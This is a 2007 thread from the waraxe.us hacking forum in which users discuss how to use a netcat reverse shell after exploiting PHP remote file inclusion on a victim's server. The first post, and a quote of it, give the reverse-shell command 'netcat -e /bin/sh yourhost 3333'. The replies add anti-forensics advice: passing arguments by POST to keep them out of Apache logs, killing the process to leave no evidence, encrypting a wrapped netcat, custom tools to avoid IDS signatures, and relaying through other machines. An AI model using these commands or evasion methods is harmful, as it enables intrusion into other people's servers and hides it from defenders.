Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: October 20, 2025 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 63 Members: 0 Total: 63 Full disclosure CyberDanube Security Research 20251014-0 | Multiple Vulnerabilities in Phoenix Contact QUINT4 UPS apis.google.com - Insecure redirect via __lu parameter(exploited in the wild) Urgent Security Vulnerabilities Discovered in Mercku Routers Model M6a Re: Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS) Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS) [SBA-ADV-20250730-01] CVE-2025-39664: Checkmk Path Traversal [SBA-ADV-20250724-01] CVE-2025-32919: Checkmk Agent Privilege Escalation via Insecure Temporary Files CVE-2025-59397 - Open Web Analytics SQL Injection Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft Re: Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft Re: Defense in depth -- the Microsoft way (part 93): SRP/SAFERwhitelisting goes black on Windows 11 Re: [FD]: "Glass Cage" – Zero-Click iMessage ? Persistent iOS Compromise + Bricking (CVE-2025-24085 / 24201, CNVD-2025-07885) Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib Samtools v1.22.1 Improper Handling of Excessive Histogram Bin Counts in Samtools Coverage Leads to Stack Overflow IT Security and Insecurity Portal www.waraxe.us Forum Index -> Remote file inclusion -> reverse shell tradeoff View previous topic :: View next topic reverse shell tradeoff Posted: Tue Jun 05, 2007 7:28 pm drag Active user Joined: May 31, 2007 Posts: 25 I was doing some reading on old posts and noticed multiple threads that suggest using a reverse shell with netcat. Although this seems quite useful (using the php shell sucks in some ways compared to a real one, and to bypass logs), it seems to me that there is a tradeoff. Using the reverse shell opens by using: netcat -e /bin/sh yourhost 3333 necessitates you placing your source address into a running process. I'd imagine that this is more noticeable than having it within the logs (depending on the admin). Am I missing something that would make this more stealthy? Any comments? Posted: Fri Jun 08, 2007 1:29 pm y3dips Valuable expert Joined: Feb 25, 2005 Posts: 281 Location: Indonesia the idea is, by using a reverse shell u would able to execute a shell rather than put some shell backdoor on victim (because a rule at victims firewall), you know sometimes you need to execute some command on victim box. I agree, your ip will be logged, but do you think your connection (accessing the web for some php remote file inclusion) arent log either ? so, u need some "covering track" mechanism, old time ago there was a remove.c" , i think u can find a toushand or u can made one, or, u could find some machine in some "other place" to receive your "reverse shell" _________________ IO::y3dips->new(http://clog.ammar.web.id); Re: reverse shell tradeoff Posted: Fri Jun 08, 2007 10:23 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu drag wrote: I was doing some reading on old posts and noticed multiple threads that suggest using a reverse shell with netcat. Although this seems quite useful (using the php shell sucks in some ways compared to a real one, and to bypass logs), it seems to me that there is a tradeoff. Using the reverse shell opens by using: netcat -e /bin/sh yourhost 3333 necessitates you placing your source address into a running process. I'd imagine that this is more noticeable than having it within the logs (depending on the admin). Am I missing something that would make this more stealthy? Any comments? First: if we want to "execute" netcat from php's exec() or system(), then by using POST method for delivering commandline arguments for netcat we can probably evade logging host and port to apache logs. Second: after shell using netcat process must be killed. So no evidence stays. Still I have vision for more paranoid uses: Let's assume, that netcat is encrypted and wrapped to external file, which will receive encryption key from $_POST or $_COOKIE vector and then will unpack payload, containing netcat. And netcat itself is modified version, which has all needed information inside, so it does not need any command line parameters. If somehow that encrypted file stays to hdd (if attacker for some reason forgets to delete traces), then it is practically impossible to decrypt it, because the key is unknown and can't be found from Apache logs. Conclusion - best tools are manually modified and improved opensource tools Re: reverse shell tradeoff Posted: Sun Jun 10, 2007 2:52 am y3dips Valuable expert Joined: Feb 25, 2005 Posts: 281 Location: Indonesia waraxe wrote: First: if we want to "execute" netcat from php's exec() or system(), then by using POST method for delivering commandline arguments for netcat we can probably evade logging host and port to apache logs. Second: after shell using netcat process must be killed. So no evidence stays. Still I have vision for more paranoid uses: Let's assume, that netcat is encrypted and wrapped to external file, which will receive encryption key from $_POST or $_COOKIE vector and then will unpack payload, containing netcat. And netcat itself is modified version, which has all needed information inside, so it does not need any command line parameters. If somehow that encrypted file stays to hdd (if attacker for some reason forgets to delete traces), then it is practically impossible to decrypt it, because the key is unknown and can't be found from Apache logs. Conclusion - best tools are manually modified and improved opensource tools CMIIW, So i think waraxe try to say "made your own tools for e.g your own netcat" , its an unusual ways so its hard to trace (by IDS, IPS, rkhunter tools and other dig forensic tools because it wouldnt be in there database/pattern). but as far as i know, being anonymous is not "always" without a log, i rather fake it or use another "character" SOL _________________ IO::y3dips->new(http://clog.ammar.web.id); reverse shell tradeoff www.waraxe.us Forum Index -> Remote file inclusion You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

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